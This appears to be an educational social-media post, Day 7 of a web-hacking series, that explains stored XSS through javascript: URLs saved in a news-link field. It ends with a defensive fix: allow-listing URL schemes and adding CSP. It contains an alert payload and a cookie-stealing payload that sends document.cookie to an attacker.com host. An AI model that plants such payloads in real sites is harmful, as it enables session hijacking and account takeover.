Day 7 of breaking web applications on purpose.
Today's question:
What if the vulnerability isn't in HTML…
What if it's in the URL itself?
Welcome to Stored XSS via JavaScript URL scheme.
🎯 The Setup
The application has a "News" feature.
You can submit:
- News Title
- News URL
The URL gets stored in the database and later rendered like this:
<a href="USER_SUPPLIED_URL">Breaking news</a>
Seems harmless.
The developer even used:
htmlspecialchars($url);
So they escaped < and >.
Safe?
Not even close.
🧠 The Dangerous Assumption
Developers often think:
"If I escape HTML tags, I'm safe."
But the browser doesn't only execute <script>.
It also executes URLs with special schemes.
Like:
javascript:
And that changes everything.
💣 The Payload
Instead of submitting:
We submit:
javascript:alert('XSS')
Stored in database.
Later rendered as:
<a href="javascript:alert('XSS')">Breaking news</a>
Now ask yourself:
What happens when someone clicks that link?
⚡ Why This Works
Because browsers treat javascript: as executable code.
When a user clicks:
javascript:alert('XSS')
The browser doesn't navigate.
It executes.
Inside the current page context.
That means:
- Access to DOM
- Access to cookies
- Access to session
- Access to user data
All from a "normal" link.
🧠 Real-Life Analogy
Imagine a receptionist handing out business cards.
You print a card that says:
"Call me at: javascript:alert('XSS')"
She doesn't check the format.
She just hands it to customers.
Anyone who "uses" it triggers your trap.
That's what happened here.
The application validated HTML.
But never validated URL schemes.
💥 Why This Is Stored XSS
Because:
- The malicious link is stored in the database.
- Every user sees it.
- Anyone who clicks becomes a victim.
- It persists across sessions.
And if an admin clicks it?
Even better (for an attacker).
🧨 Real Impact (Not Just Alert Boxes)
Replace the payload with:
javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)
Now we're talking:
- Session hijacking
- Account takeover
- Admin compromise
- Data exfiltration
All from a link.
Not a script tag.
A link.
🔥 The Question That Separates Beginners from Pros
When you test input fields that accept URLs…
Do you test:
- javascript:
- data:
- vbscript:
- file:
Or do you just test <script>?
XSS is about execution context.
Not just angle brackets.
🛡️ Proper Fix
Escaping HTML is NOT enough.
You must validate URL schemes.
Only allow:
http:// https://
Reject everything else.
Example validation logic:
if (!preg_match('/^https?:\/\//i', $url)) { reject(); }
Add CSP for defense in depth:
Content-Security-Policy: script-src 'self'
Security rule:
If you accept URLs, validate the protocol.
Always.
🎯 Day 7 Takeaway
You didn't break HTML.
You didn't inject quotes.
You didn't bypass filters.
You simply changed the protocol.
And turned a hyperlink…
Into a weapon.
Because what happens when the "image" itself contains JavaScript?
That's where things escalate hard.
LESSGOOO 🔥

Next, we push XSS into file uploads.